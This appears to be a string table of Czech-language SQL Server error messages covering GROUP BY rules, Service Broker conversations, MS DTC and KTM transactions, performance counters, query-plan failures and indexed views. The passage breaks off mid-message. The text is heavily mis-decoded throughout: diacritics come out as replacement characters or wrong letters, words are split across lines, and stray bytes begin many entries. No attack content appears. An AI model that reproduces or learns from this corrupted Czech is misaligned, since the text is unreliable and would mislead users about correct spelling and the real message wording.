�Funkce GROUPING a GROUPING_ID lze zadat, pouze kdy~ existuje klauzule GROUP BY.

�Argument %1!s! funkce %2!s! se neshoduje s ~�dn�m z v�razo v klauzuli GROUP BY.

Typ form�ln�ho parametru %1!s! nebyl deklarov�n jako parametr OUTPUT, ale skute
n� parametr byl pYed�n v po~adovan�m v�stupu.

XPY�kaz INSERT EXEC nemo~e b�t vnoYen�.

�Neplatn� hodnota d�l
�ho pY�kazu %1!s!. Platn� rozsah je od %2!s! do %3!s!.

�N�zev omezen� %1!s! nen� povolen. N�zvy omezen� nemohou za
�nat znakem 
�sla (#).

�Typ sloupce %1!s! je v konfliktu s typem jin�ch sloupco zadan�ch v seznamu UNPIVOT.

hV tomto kontextu nelze vytvoYit, vyYadit, povolit nebo zak�zat v�ce ne~ jedno omezen�, sloupec, index nebo aktiva
n� ud�lost s n�zvem %1!s!. Duplicitn� n�zvy nejsou povoleny.

�PYevod se nezdaYil pYi pYevodu ze znakov�ho Yetzce na typ uniqueidentifier.

�Nen� dostatek m�sta pro v�sledek pro pYeveden� hodnoty uniqueidentifier na typ char.

tPomocn� parametr %1!s! pro objekt %2!s! je neplatn�.

�Argument %1!s! metody datov�ho typu XML %2!s! mus� b�t Yetzcov� liter�l.

�K vyvol�n� metody datov�ho typu XML %1!s! byla pou~ita nespr�vn� syntaxe.

lZ�mek sch�matu s popisova
em %1!s! nebyl nalezen.

�Procedura nov� synchronizace o
ek�v� hodnotu kl�
e %1!s!, kter� nebyla zad�na.

�Sloupec v klauzuli %1!s! nelze pou~�t, nen�-li obsa~en v agrega
n� funkci nebo v klauzuli GROUP BY.

�Parametrick� dotaz %1!s! o
ek�v� parametr %2!s!, kter� nebyl zad�n.

pNelze nal�zt pYipraven� pY�kaz s popisova
em %1!s!.

HPY�kazy nebylo mo~n� pYipravit.

�Text pro %1!s! chyb� v syst�mov�m katalogu. Objekt mus� b�t pYed pou~it�m vyYazen a znovu vytvoYen.

HPro po
�tan� sloupce lze vytvoYit pouze omezen� UNIQUE a PRIMARY KEY, zat�mco omezen� CHECK, FOREIGN KEY a NOT NULL vy~aduj�, aby byly po
�tan� sloupce trval�.

�Chyba ve vstupu binarychecksum. Ve vstupu binarychecksum neexistuj� porovnateln� sloupce.

�Chyba pYi rozbalov�n� *: V podkladov� tabulce nebo zobrazen� byl nalezen neporovnateln� sloupec.

�Funkci %1!s! lze pou~�t pouze pro u~ivatele a syst�mov� tabulky.

�PYipraven� popisova
 %1!s! je nyn� pou~�v�n jin�m pY�kazem (stav chyby: %2!s!).

LPro typ sestaven� %1!s! pro sestaven� %2!s! ji~ existuje typ SQL. K dan�mu typu sestaven� mo~e b�t namapov�n pouze jeden typ SQL. PY�kaz CREATE TYPE se nezdaYil.

`Nem�te opr�vnn� k proveden� pY�kazu %1!s!.

�Proceduru filtru replikace nelze kompilovat bez definice filtrovan� tabulky.

�Procedury filtru replikace mohou obsahovat pouze pY�kazy SELECT, GOTO, IF, WHILE, RETURN a DECLARE.

lProcedury filtru replikace nemohou m�t parametry.

pNelze spustit proceduru ozna
enou FOR REPLICATION.

Nelze vytvoYit %1!s! pro %2!s!. Aktiva
n� ud�losti Insert, Update a Delete lze vytvoYit pouze pro u~ivatelsk� tabulky a zobrazen�.

dJako ROWGUIDCOL byl zad�n duplicitn� sloupec.

�Objekt %1!s! neexistuje nebo nen� platn� pro tuto operaci.

 V pY�kazu EXECUTE <nazev_procedury> mo~e b�t parametr nazev_procedury pouze liter�l nebo promnn� typu char, varchar, nchar nebo nvarchar.

�Nelze vytvoYit (nebo otevY�t) objekt mapov�n� souboru s n�zvem %1!s!. �ta
e v�konu pro SQL Server jsou zak�z�ny.

,Nelze zobrazit mapu objektu mapov�n� souboru %1!s! do adresn�ho prostoru procesu syst�mu SQL Server. �ta
e v�konu pro SQL Server jsou zak�z�ny.

�Nelze vytvoYit (nebo otevY�t) pojmenovan� vz�jemn vylou
en� pY�stup %1!s!. �ta
e v�konu pro SQL Server jsou zak�z�ny.

$Chyba pYi mapov�n� indexo objekto nebo 
�ta
o v�konu pro SQL Server na n�zvy objekto nebo 
�ta
o. �ta
e v�konu pro SQL Server jsou zak�z�ny.

�Objekt v�konu pro SQL Server %1!s! nebyl nalezen v registru. �ta
e v�konu pro SQL Server jsou zak�z�ny.

��ta
 v�konu pro SQL Server %1!s! nebyl nalezen v registru. �ta
e v�konu pro SQL Server jsou zak�z�ny.

�Nelze otevY�t kl�
 registru HKLM\%1!s!. �ta
e v�konu pro SQL Server jsou zak�z�ny.

�Nelze zadat dotaz na hodnotu %1!s! pYidru~enou ke kl�
i registru HKLM\%2!s!. �ta
e v�konu pro SQL Server jsou zak�z�ny.

�PYi inicializaci 
�ta
o v�konu doalo k chyb pYidlen� virtu�ln� pamti. �ta
e v�konu pro SQL Server jsou zak�z�ny.

Objekt j�dra opera
n�ho syst�mu %1!s! ji~ existuje. Nen� vlastnn �
tem slu~by SQL Server. �ta
e v�konu pro SQL Server jsou zak�z�ny.

8}�dost Y�zen� trasov�n� nelze zpracovat, proto~e byly zad�ny neplatn� parametry pYi registraci ud�lost�. Potvrte, ~e jsou parametry v platn�m rozsahu.

xNelze nal�zt po~adovanou aablonu trasov�n�: ID = %1!s!.

8N�stroj Trasov�n� ud�lost� pro Windows se nepodaYilo spustit. %1!s!. Chcete-li povolit n�stroj Trasov�n� ud�lost� pro Windows, restartujte SQL Server.

�N�stroji Trasov�n� ud�lost� pro Windows se nepodaYilo odeslat ud�lost. Chyby odes�l�n� se stejn�m k�dem chyby nemus� b�t v budoucnu hl�aeny. ID chyby: %1!s!, ID tY�dy ud�losti: %2!s!, PY�
ina: %3!s!.

HNelze doru
it ozn�men� ud�lost� na �rovni serveru. Slu~ba Service Broker je v datab�zi msdb zak�z�na, nebo se datab�zi msdb nepodaYilo spustit. Ozn�men� ud�lost� v ostatn�ch datab�z�ch mohou b�t tak� ovlivnna. PYevete datab�zi msdb do re~imu online nebo povolte slu~bu Service Broker.

<N�stroji Trasov�n� ud�lost� pro Windows se nepodaYilo odeslat ud�lost. Server nem� dostatek pamti. Stejn� chyba odes�l�n� nemus� b�t v budoucnu hl�aena.

TN�stroji Trasov�n� ud�lost� pro Windows se nepodaYilo odeslat ud�lost. PY�
inou mo~e b�t nedostatek prostYedko. Stejn� chyba odes�l�n� nemus� b�t v budoucnu hl�aena.

XN�stroji Trasov�n� ud�lost� pro Windows se nepodaYilo odeslat ud�lost. Velikost zpr�vy ud�losti pYekra
uje limit. Stejn� chyba odes�l�n� nemus� b�t v budoucnu hl�aena.

Trasov�n� SQL se nepodaYilo odeslat ozn�men� ud�losti. Server nem� dostatek pamti. Stejn� chyba odes�l�n� nemus� b�t v budoucnu hl�aena.

4Trasov�n� SQL se nepodaYilo odeslat ozn�men� ud�losti. PY�
inou mo~e b�t nedostatek prostYedko. Stejn� chyba odes�l�n� nemus� b�t v budoucnu hl�aena.

�Tuto zpr�vu nelze doru
it, proto~e c�lov� u~ivatel s ID %1!s! v ID datab�ze %2!s! nem� opr�vnn� k pY�jmu z fronty %3!s!.

�Datov� typ %1!s! v pY�kazu %2!s! mus� b�t %3!s!. Datov� typ %4!s! nen� povolen.

�Typ zpr�vy %1!s! je zad�n v�ce ne~ jednou. Odeberte duplicitn� typ zpr�vy.

�Kontrakt slu~by %1!s! je zad�n v�ce ne~ jednou. Odeberte duplicitn� kontrakt slu~by.

TV obslu~n� rutin vr�cen� zpt fronty slu~by Service Broker doalo k chyb pYi pokusu zak�zat frontu. ID datab�ze: %1!s!, ID fronty: %2!s!, Chyba: %3!s!, Stav: %4!s!.

�Doba ~ivota dialogu nemo~e m�t hodnotu NULL. Zadejte platnou hodnotu doby ~ivota dialogu od %1!s! do %2!s!.

dPYijat� zpr�va, kter� obsahuje neplatn� pole hlavi
ky. To mo~e znamenat, ~e doalo k pot�~�m se s�t� nebo ~e se na koncov� bod slu~by Service Broker pYipojila jin� aplikace.

hC�lov� slu~ba %1!s! nepodporuje kontrakt %2!s!.

Tuto zpr�vu nelze doru
it, proto~e c�lov� slu~ba nepodporuje kontrakt slu~by. C�lov� slu~ba: %1!s!, kontrakt slu~by: %2!s!.

�asova
 konverzace nelze nastavit mimo dobu ~ivota konverzace.

�Hodnota doby ~ivota dialogu %1!s! je mimo povolen� rozsah od %2!s! do %3!s!. Zadejte platnou hodnotu doby ~ivota dialogu.

XSyntaxe n�zvu slu~by %1!s! je neplatn�.

 Syntaxe instance zprostYedkovatele %1!s! je neplatn�. Zadan� instance zprostYedkovatele je pY�lia dlouh�, maxim�ln� velikost je 256 bajto.

�ID skupiny konverzace %1!s! je v tomto kontextu neplatn�. Zadejte jin� ID skupiny konverzace.

DAktivovan� �loha byla pYeruaena, proto~e vyvolan� ulo~en� procedura %1!s! nevydala pY�kaz COMMIT nebo ROLLBACK pro jednu nebo v�ce transakc�, kter� zah�jila.

�N�zev kontraktu slu~by m� hodnotu NULL. Zadejte n�zev kontraktu slu~by.

|Popisova
 konverzace chyb�. Zadejte popisova
 konverzace.

�Pro pY�kaz END CONVERSATION WITH ERROR je nutno zadat k�d chyby a popis. Ani jedna hodnota nemo~e b�t NULL.

tSkupina konverzace chyb�. Zadejte skupinu konverzace.

\N�zev slu~by chyb�. Zadejte n�zev slu~by.

XPopis chyby chyb�. Zadejte popis chyby.

DSlu~ba %1!s! nebyla nalezena.

�K�d chyby a popis chyby chyb�. Zadejte k�d chyby a popis chyby.

TKontrakt slu~by %1!s! nebyl nalezen.

\Popisova
 konverzace %1!s! nebyl nalezen.

�Koncov� bod konverzace nen� v platn�m stavu pro pY�kaz END CONVERSATION. Aktu�ln� stav koncov�ho bodu je %1!s!.

HTyp zpr�vy %1!s! nebyl nalezen.

�Koncov� bod konverzace nen� v platn�m stavu pro pY�kaz SEND. Aktu�ln� stav koncov�ho bodu je %1!s!.

lTlo zpr�vy nevyhovlo nakonfigurovan�mu ovYen�.

lTyp zpr�vy %1!s! nen� sou
�st� kontraktu slu~by.

�Zpr�vu nelze odeslat, proto~e typ zpr�vy %1!s! je v kontraktu ozna
en jako SENT BY TARGET, ale tato slu~ba je inici�tor.

�Tlo zpr�vy nemo~e m�t hodnotu NULL. Xetzec s nulovou d�lkou ve form�tu UNICODE nebo v bin�rn�m form�tu je povolen.

�Zpr�vu nelze odeslat, proto~e typ zpr�vy %1!s! je v kontraktu ozna
en jako SENT BY INITIATOR, ale tato slu~ba je c�l.

|Popisova
 konverzace %1!s! na pozici %2!s! nebyl nalezen.

\Skupina konverzace %1!s! nebyla nalezena.

�PYijat� zpr�va byla odesl�na c�lovou slu~bou, ale typ zpr�vy %1!s! je v kontraktu ozna
en SENT BY INITIATOR.

�Koncov� bod konverzace nen� v platn�m stavu pro pY�kaz MOVE CONVERSATION. Aktu�ln� stav koncov�ho bodu je %1!s!.

dC�lov� skupina konverzace %1!s! je neplatn�.

Skupina konverzace existuje, ale neexistuje ~�dn� fronta. Pravdpodobn doalo k poakozen� datab�ze. Spusete pY�kaz DBCC CHECKDB.

�Popisova
 konverzace na pozici %1!s! chyb�. Zadejte popisova
 konverzace.

V datab�zi nen� ~�dn� aktivn� slu~ba Service Broker. Provete zmnu na kontext datab�ze, kter� obsahuje slu~bu Service Broker.

DKonverzace s ID %1!s! a inici�tor: %2!s! odkazuj� na chybj�c� konverza
n� skupinu %3!s!. Spuatn�m pY�kazu DBCC CHECKDB provete anal�zu a opravu datab�ze.

�Struktura fronty slu~by je nekonzistentn�. Pravdpodobn doalo k poakozen� datab�ze. Spusete pY�kaz DBCC CHECKDB.

�Popisova
 konverzace %1!s! odkazuje na neplatn� ID konverzace %2!s!, inici�tor: %3!s!.

�PY�kaz RECEIVE, kter� pYiYazuje hodnotu promnn�, nelze kombinovat s operacemi na
�t�n� dat.

�PYiYazen� v projekci RECEIVE nejsou povolena ve spojen� s klauzul� INTO.

�Popisova
 konverzace %1!s! na pozici %2!s! se vyskytuje v�ce ne~ jednou.

�PYijat� zpr�va byla odesl�na inici�torem konverzace, ale typ zpr�vy %1!s! je v kontraktu ozna
en SENT BY TARGET.

�Koncov� bod konverzace nen� v platn�m stavu pro pY�kaz BEGIN CONVERSATION TIMER. Aktu�ln� stav koncov�ho bodu je %1!s!.

�Velikost zpr�vy, v
etn informace hlavi
ky pYesahuje povolen� maximum %1!s!.

�Koncov� bod konverzace s ID %1!s! a parametr is_initiator: %2!s! odkazuj� na neplatn� popisova
 konverzace %3!s!.

�Doalo k vnitYn� chyb slu~by Service Broker. Pravdpodobn doalo k poakozen� datab�ze. Spusete pY�kaz DBCC CHECKDB.

�Vzd�len� koncov� bod konverzace je ve stavu, kdy nelze vymHovat ~�dn� dala� zpr�vy, nebo byl vyYazen.

NepodaYilo se na
�st tlo zpr�vy pYi zaYazov�n� zpr�vy. Tato zpr�va je pY�znakem jin�ho probl�mu. Dala� informace naleznete v protokolu chyb syst�mu SQL Server a v protokolu chyb opera
n�ho syst�mu, ty v�m pomohou tyto pot�~e vyYeait. Pokud pot�~e potrvaj�, mo~e b�t datab�ze poakozena. Chcete-li datab�zi zotavit, obnovte ji ze z�lohy neobsahuj�c� probl�m. Nem�te-li z�lohu neobsahuj�c� probl�m k dispozici, spusete pY�kaz DBCC CHECKDB. PY�kaz DBCC CHECKDB mo~e odebrat data, aby dos�hl opraven� datab�ze.

HPodkladov� slu~ba byla zmnna.

DVzd�len� slu~ba byla zmnna.

HVzd�len� slu~ba byla vyYazena.

�Bhem pYenosov� operace slu~by Service Broker nebo zrcadlen� datab�ze doalo k chyb vol�n� SNI: chyba SNI %1!s!.

�Vzd�len� slu~ba odeslala zpr�vu, kter� obsahuje neplatn� pole hlavi
ky.

�Koncov� bod konverzace s ID %1!s! a parametr is_initiator: %2!s! byl vyYazen.

8Doalo k vnitYn� chyb slu~by Service Broker (chyba = 0x%1!s!). Tato chyba indikuje z�va~n� probl�m v syst�mu SQL Server. Zkontrolujte protokol chyb syst�mu SQL Server a protokol chyb opera
n�ho syst�mu. Zde z�sk�te informace o mo~n�ch probl�mech souvisej�c�ch s hardwarem. Pravdpodobn doalo k poakozen� datab�ze. Chcete-li datab�zi zotavit, obnovte ji ze z�lohy neobsahuj�c� probl�m. Nem�te-li z�lohu neobsahuj�c� probl�m k dispozici, spusete pY�kaz DBCC CHECKDB. PY�kaz DBCC CHECKDB mo~e odebrat data, aby dos�hl opraven� datab�ze.

\Pou~ito testem v simulaci m�sta selh�n�.

TKontrakt vzd�len� slu~by byl vyYazen.

XDialog pYekro
il zadanou dobu LIFETIME.

|Nelze nal�zt vzd�lenou slu~bu %1!s!, proto~e neexistuje.

�Kontrakt slu~by %1!s! mus� m�t minim�ln jednu zpr�vu ozna
enou SENT BY INITIATOR nebo ANY.

�Zmna slu~by %1!s! mus� zmnit frontu nebo minim�ln jeden kontrakt.

dNem�te opr�vnn� k pY�stupu ke slu~b %1!s!.

|Konverzace ji~ byla potvrzena jinou instanc� t�to slu~by.

�Vzd�len� slu~ba odeslala zpr�vu typu %1!s!, kter� nen� sou
�st� m�stn�ho kontraktu.

�Vzd�len� slu~ba odeslala tlo zpr�vy typu %1!s!, kter� se neshoduje s form�tem k�dov�n� tla zpr�vy. Doalo k tomu ve zpr�v s ID konverzace %2!s!, inici�torem %3!s!, poYadov� 
�slo zpr�vy: %4!s!.

dSlu~ba MSDTC na serveru %1!s! je nedostupn�.

�Ze slu~by MS DTC (Microsoft Distributed Transaction Coordinator) byl pYijat nezn�m� token 0x%1!s!.

|Vyrovn�vac� pame importu pro tuto transakci nen� platn�.

�Nelze zmnit stav transakce z %1!s! na %2!s!. Po~adovan� zmna nen� platn�.

�Importov�n� transakce slu~by MS DTC (Microsoft Distributed Transaction Coordinator) se nezdaYilo: %1!s!.

Operace zaYazen� selhala: %1!s!. SQL Server nemo~e prov�st registraci se slu~bou MS DTC (Microsoft Distributed Transaction Coordinator) jako spr�vcem prostYedko pro tuto transakci. Transakce byla pravdpodobn zastavena klientem nebo spr�vcem prostYedko.

�Ze slu~by MS DTC (Microsoft Distributed Transaction Coordinator) byla po~adov�na nezn�m� �roveH izolace 0x%1!s!.

�Potvrzen� z�pisu transakce slu~bou MS DTC (Microsoft Distributed Transaction Coordinator) se nezdaYilo: %1!s!.

�Potvrzen� ukon
en� transakce slu~bou MS DTC (Microsoft Distributed Transaction Coordinator) se nezdaYilo: %1!s!.

�Potvrzen� pY�kazu PREPARE slu~bou MS DTC (Microsoft Distributed Transaction Coordinator) se nezdaYilo: %1!s!.

�Glob�ln� stav slu~by MS DTC (Microsoft Distributed Transaction Coordinator) nen� platn�.

�NezdaYilo se z�skat informace pY�kazu PREPARE slu~bou MS DTC (Microsoft Distributed Transaction Coordinator): %1!s!.

�PY�kaz BEGIN TRANSACTION slu~by MS DTC (Microsoft Distributed Transaction Coordinator) se nezdaYil: %1!s!.

�Aktu�ln� transakce MS DTC (Microsoft Distributed Transaction Coordinator) mus� b�t zaps�na vzd�len�m klientem.

�Z�pis vnitYn� transakce MS DTC (Microsoft Distributed Transaction Coordinator) se nezdaYil: %1!s!.

�Tento stav probuzen� nen� platn�: usp�no: %1!s!, probuzeno: %2!s!.

�Slu~ba MS DTC (Microsoft Distributed Transaction Coordinator) tuto transakci zastavila.

tPY�kaz PREPARE TRAN nen� pro transakci MSDTC povolen.

�Aktu�ln� transakci nelze exportovat na vzd�len�ho zprostYedkovatele. Byla vr�cena zpt.

�Distribuovan� transakce byla dokon
ena. ZaYate tuto relaci v nov� transakci nebo v transakci NULL.

�Nelze pYej�t na vzd�len� vol�n�, kdy~ je relace zaYazena v distribuovan� transakci, kter� m� aktivn� �lo~n� bod.

pPokus vytvoYit token exportu distribuovan� transakce se nezdaYil s touto chybou: %1!s!. Obraete se na sv�ho spr�vce syst�mu MS DTC (Microsoft Distributed Transaction Coordinator).

�Z�pis transakce KTM (Kernel Transaction Manager) se nezdaYil: %1!s!.

0Nelze extrahovat popisova
 transakce KTM (Kernel Transaction Manager) z transakce MS DTC (Microsoft Distributed Transaction Coordinator): 0x%1!s!.

�VytvoYen� spr�vce KTM (Kernel Transaction Manager) opera
n�ho syst�mu se nezdaYilo: 0x%1!s!.

�Spr�vci KTM (Kernel Transaction Manager) opera
n�ho syst�mu se nepodaYilo vytvoYit zaYazen�: 0x%1!s!.

�Chyba pYi 
ten� ozn�men� spr�vce prostYedko ze spr�vce KTM (Kernel Transaction Manager): %1!s!.

�Chyba pYi 
ek�n� na komunikaci ze spr�vce KTM (Kernel Transaction Manager): %1!s!.

�Spr�vce KTM RM pro tuto datab�zi, %1!s!, se nepodaYilo spustit: %2!s!.

�Operace �lo~n�ho bodu v transak
n�m syst�mu souboro opera
n�ho syst�mu se nezdaYila: 0x%1!s!.

�Pomoc� operac� FILESTREAM jsou povoleny pouze aktualizace jedn� datab�ze.

�Tato transakce byla pYeruaena spr�vcem KTM (Kernel Transaction Manager).

�Aktu�ln� �roveH izolace nen� podporov�na operac� FILESTREAM 0x%1!s!.

\Vol�n� CoCreateGuid se nezdaYilo: %1!s!.

tVol�n� RegOpenKeyEx z \"%1!s!\" se nezdaYilo: %2!s!.

xVol�n� RegQueryValueEx z \"%1!s!\" se nezdaYilo: %2!s!.

tVol�n� IIDFromString se nezdaYilo pro %1!s!, (%2!s!).

xVol�n� RegDeleteValue z \"%1!s!\" se nezdaYilo: %2!s!.

�Vol�n� RegSetValueEx z %1!s! v kl�
i %2!s! selhalo: %3!s!.

�Syst�mu SQL Server se nepodaYilo pYipravit transakci DTC. K�d chyby: %1!s!.

�Chyba procesoru vnitYn�ch dotazo: Procesoru dotazo se nepodaYilo z�skat pY�stup k po~adovan�mu rozhran�.

�Indexy pou~it� v pomocn�ch parametrech mus� b�t v�slovn zahrnuty v provodci optimalizac� indexo.

lNeplatn� syntaxe pro vnitYn� pY�kaz DBCC REPAIR.

PPY�kaz ALTER TABLE SWITCH se nezdaYil. Tabulka %1!s! obsahuje omezen� CHECK na �rovni sloupce %2!s! pro sloupec %3!s!, kter� nelze na
�st pro s�mantick� ovYov�n�.

hTato operace indexu vy~aduje %1!s! KB pamti na DOP. Celkov� po~adavek %2!s! KB pamti pro DOP z %3!s! je vta� ne~ hodnota sp_configure %4!s! KB nastaven�ch v upYesHuj�c� mo~nosti konfigurace serveru pame vytv�Yen� indexu (KB). Zvtaete hodnotu v tomto nastaven� nebo sni~te DOP a spusete dotaz znovu.

Tabulku %1!s! nelze upravit, proto~e jeden nebo v�ce neclusterovan�ch indexo je um�stno ve skupin souboro, kter� nen� online.

� Dotaz nelze dokon
it z dovodu operace sestaven� indexu online, kompilace se mus� zopakovat.

$Procesor dotazo nemohl vytvoYit pl�n dotazu, proto~e je po~adov�na pracovn� tabulka a jej� minim�ln� velikost Y�dku pYekra
uje povolen� maximum %1!s! bajto. Obvykl� dovod, pro
 je po~adov�na pracovn� tabulka, je klauzule GROUP BY nebo ORDER BY v dotazu. Pokud dotaz obsahuje klauzuli GROUP BY nebo ORDER BY, zva~te sn�~en� po
tu a velikosti pol� v klauzuli. Mo~ete napY�klad pou~�t pYedponu (LEFT()) nebo hodnotu hash (CHECKSUM()) pol� k seskupen� nebo pYedponu k uspoY�d�n�. Po
�tejte ale s t�m, ~e to zmn� chov�n� dotazu.

xProcesor dotazo nemohl vytvoYit pl�n dotazu, proto~e je po~adov�na pracovn� tabulka a jej� minim�ln� velikost Y�dku pYekra
uje povolen� maximum %1!s! bajto. Obvykl� dovod, pro
 je po~adov�na pracovn� tabulka, je klauzule GROUP BY nebo ORDER BY v dotazu. Odealete dotaz znovu bez pomocn�ho parametru ROBUST PLAN.

�Procesor dotazo nem� dostatek m�sta v z�sobn�ku pYi optimalizaci dotazu. Zjednoduate dotaz.

�Procesor dotazo nemohl vytvoYit pl�n dotazu z dovodu definice pomocn�ch parametro v tomto dotazu. Odealete dotaz znovu bez zad�n� pomocn�ch parametro a bez pou~it� pY�kazu SET FORCEPLAN.

�Procesor dotazo neml dostatek vnitYn�ch prostYedko a nemohl vytvoYit pl�n dotazu. Toto je v�jime
n� ud�lost, kterou lze o
ek�vat pouze pro velmi slo~it� dotazy a dotazy, kter� odkazuj� na velk� po
et tabulek nebo odd�lo. Zjednoduate dotaz. Pokud se domn�v�te, ~e se tato zpr�va zobrazila z dovodu chyby, po~�dejte o dala� informace slu~bu z�kaznick� podpory.

Chyba procesoru vnitYn�ch dotazo: Procesor dotazo nemohl vytvoYit pl�n dotazu. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�PYi 
ek�n� na optimalizaci dotazu doalo k vypraen� 
asov�ho limitu. Spusete dotaz znovu.

�Chyba procesoru vnitYn�ch dotazo: Procesor dotazo zjistil bhem zpracov�n� neo
ek�vanou chybu (HRESULT = 0x%1!s!).

VnitYn� chyba: Bylo dosa~eno limitu z�sobn�ku serveru. Vyhledejte v dotazu potenci�ln hlubok� vnoYen� a pokuste se je zjednoduait.

$VnitYn� chyba: Bylo dosa~eno limitu slu~by pro vytv�Yen� v�razo. Vyhledejte v dotazu potenci�ln slo~it� v�razy a pokuste se je zjednoduait.

�Procesor dotazo nemohl vytvoYit pl�n dotazu, proto~e distribuovan� dotaz nepodporuje vyhodnocov�n� mezilehl�ch v�sledko s v�choz�m nastaven�m v dotazech DML pro vzd�len� zdroje. Zkuste pou~�t skute
n� v�choz� hodnoty nam�sto v�choz�ch nebo rozdlte aktualizaci do v�ce pY�kazo, kde bude jeden obsahovat pouze pYiYazen� DEFAULT a ostatn� zbytek.

�Procesor dotazo obdr~el chybu z komunika
n� vrstvy clusteru.

|Procesor dotazo nemohl vytvoYit pl�n dotazu pro dotaz s pomocn�m parametrem prostorov�ho indexu. Dovod: %1!s!. Zkuste odebrat pomocn� parametry indexu nebo odebrat pY�kaz SET FORCEPLAN.

@Procesor dotazo nemohl vytvoYit pl�n dotazu, proto~e v predik�tu �pln�ho vnja�ho spojen� existuje poddotaz. To nen� pro distribuovan� dotazy podporov�no.

XProcesor dotazo nemohl vytvoYit pl�n dotazu, proto~e byl pou~it pomocn� parametr USE PLAN pro dotaz, kter� mn� data, zat�mco c�lov� tabulka zmny m� index, kter� je sou
asn vytv�Yen online. PYed vynucen�m pl�nu zva~te, zda nevy
kat, dokud nebude dokon
eno sestaven� online indexu, nebo zda nepou~�t jin� zposob odladn� dotazu jako aktualizaci statistik nebo pou~it� jin�ho pomocn�ho parametru 
i ru
n�ho pYeps�n� dotazu.

�Procesor dotazo nemohl vytvoYit pl�n dotazu, proto~e dotazy s na
ten�m CURSOR nemo~ou odkazovat na extern� tabulky. Zajistte, aby vstupn� po~adavek neobsahoval vzd�len� pY�kazy UPDATE ani DELETE pro extern� tabulky.

TProcesor dotazo nemohl spustit potYebn� prostYedky vl�kna pro prov�dn� paraleln�ho dotazu. Sni~te zat�~en� serveru nebo pomoc� nastaven� MAXDOP omezte paralelismus.

�Chyba procesoru vnitYn�ch dotazo: Pl�n vybran� ke zpracov�n� nepodporuje danou vyvolanou rutinu zpracov�n�.

 Doalo k vypraen� 
asov�ho limitu pYi 
ek�n� na pameov� prostYedky ke zpracov�n� dotazu ve fondu zdrojo %1!s! (%2!s!). Spusete dotaz znovu.

Nelze naj�t polo~ku indexu v ID indexu %1!s! tabulky %2!s! v datab�zi %3!s!. Ozna
en� index je poakozen� nebo existuje probl�m s pl�nem aktu�ln� aktualizace. Spusete pY�kaz DBCC CHECKDB nebo DBCC CHECKTABLE. Pokud pot�~e potrvaj�, obraete se na technickou podporu.

8Do zatYiovac� tabulky nelze vlo~it Y�dek vta�, ne~ je velikost str�nky. Odealete dotaz znovu pomoc� optimaliza
n�ho pomocn�ho parametru ROBUST PLAN.

4Dotaz byl zruaen, proto~e odhadovan� n�klady tohoto dotazu (%1!s!) pYekro
ily nakonfigurovanou prahovou hodnotu %2!s!. Obraete se na spr�vce syst�mu.

�Operaci nelze prov�st, proto~e po~adovanou pame nebylo mo~n� pYidlit z fondu zdrojo %1!s! (%2!s!). Spusete dotaz znovu, sni~te z�t~ dotazu nebo zkontrolujte nastaven� konfigurace spr�vce prostYedko.

Procesor dotazo nemo~e vytvoYit pl�n pro tabulku nebo zobrazen� %1!s!, proto~e je tabulka um�stna ve skupin souboro, kter� nen� online.

�Procesor dotazo nemo~e vytvoYit pl�n, proto~e je index %1!s! pro tabulku nebo zobrazen� %2!s! zak�z�n.

�Procesor dotazo nemohl vytvoYit pl�n dotazu. Odealete dotaz znovu po zak�z�n� pY�znaku trasov�n� %1!s!.

�Nelze z�skat pYidlen� pamti %1!s! KB, proto~e pYekra
uje limit maxim�ln� konfigurace ve skupin �lohy %2!s! (%3!s!) a ve fondu zdrojo %4!s! (%5!s!). Chcete-li zv�ait limit vyu~it� pamti, obraete se na spr�vce serveru.

�Sestaven� indexu columnstore nelze zah�jit, proto~e vy~aduje minim�ln %1!s! kB, zat�mco maxim�ln� pYidlen� pamti je omezeno na %2!s! kB v ka~d�m dotazu ve skupin �lohy %3!s! (%4!s!) a fondu zdrojo %5!s! (%6!s!). Upravte index columnstore tak, aby obsahoval m�n sloupco, nebo pomoc� spr�vce zdrojo zvyate limit maxim�ln�ho pYidlen� pamti. Pot� akci opakujte.

�Nelze vytvoYit clusterovan� index %1!s! pro zobrazen� %2!s!, proto~e seznam pY�kazu SELECT definice zobrazen� nezahrnuje vaechny sloupce v klauzuli GROUP BY. Zva~te pYid�n� tchto sloupco do seznamu pY�kazu SELECT.

�Nelze vytvoYit clusterovan� index %1!s! pro zobrazen� %2!s!, proto~e kl�
 indexu zahrnuje sloupce, kter� nejsou v klauzuli GROUP BY. Zva~te odstrann� sloupco, kter� nejsou v klauzuli GROUP BY, z kl�
e indexu.

8Nelze vytvoYit clusterovan� index %1!s! pro zobrazen� %2!s!, proto~e zobrazen� odkazuje na nezn�mou hodnotu (funkce SUM agreguje v�raz s mo~nou hodnotou NULL). Zva~te pou~it� odkazu ve funkci SUM pouze na hodnoty, kter� nemohou b�t NULL. K tomu mo~e b�t u~ite
n� funkce ISNULL().

�Nelze vytvoYit clusterovan� index %1!s! pro zobrazen� %2!s!, proto~e jeho seznam pY�kazu SELECT nezahrnuje oper�tor COUNT_BIG(*). Zva~te pYid�n� oper�toru COUNT_BIG(*) do seznamu pY�kazu SELECT.

XNelze vytvoYit clusterovan� index %1!s! pro zobrazen� %2!s!, proto~e ~�dn� Y�dek nemo~e splnit definici zobrazen�. Zva~te odstrann� kontradikc� z definice zobrazen�.

,Nelze vytvoYit clusterovan� index %1!s! pro zobrazen� %2!s!, proto~e seznam pY�kazu SELECT zobrazen� obsahuje v�raz pro v�sledek agrega
n� funkce nebo sloupec seskupen�. Zva~te odebr�n� v�razu pro v�sledek agrega
n� funkce nebo sloupec seskupen� ze seznamu pY�kazu SELECT.

�Pokus zachovat indexovan� zobrazen� %1!s! se nezdaYil, proto~e obsahuje v�raz pro agregovan� v�sledky, nebo proto~e obsahuje hodnot�c� nebo agrega
n� odd�lov� funkce. Zva~te vyYazen� clusterovan�ho indexu pro zobrazen� nebo zmnu definice zobrazen�.

�Optimaliz�tor dotazo dos�hl vnitYn�ho limitu maxim�ln�ho po
tu zobrazen�, kter� lze pou~�t pYi optimalizaci.

lPokus zachovat indexovan� zobrazen� %1!s! se nezdaYil z dovodu mo~nosti ignore_dup_key v indexu %2!s!. VyYate index nebo jej znovu vytvoYte bez mo~nosti indexu ignore_dup_key.

\PY�kaz MERGE se pokusil prov�st operaci UPDATE nebo DELETE pro stejn� Y�dek v�ce ne~ jednou. K tomu doch�z�, kdy~ c�lov� Y�dek odpov�d� v�ce ne~ jednomu zdrojov�mu Y�dku. PY�kaz MERGE nemo~e prov�st operaci UPDATE 
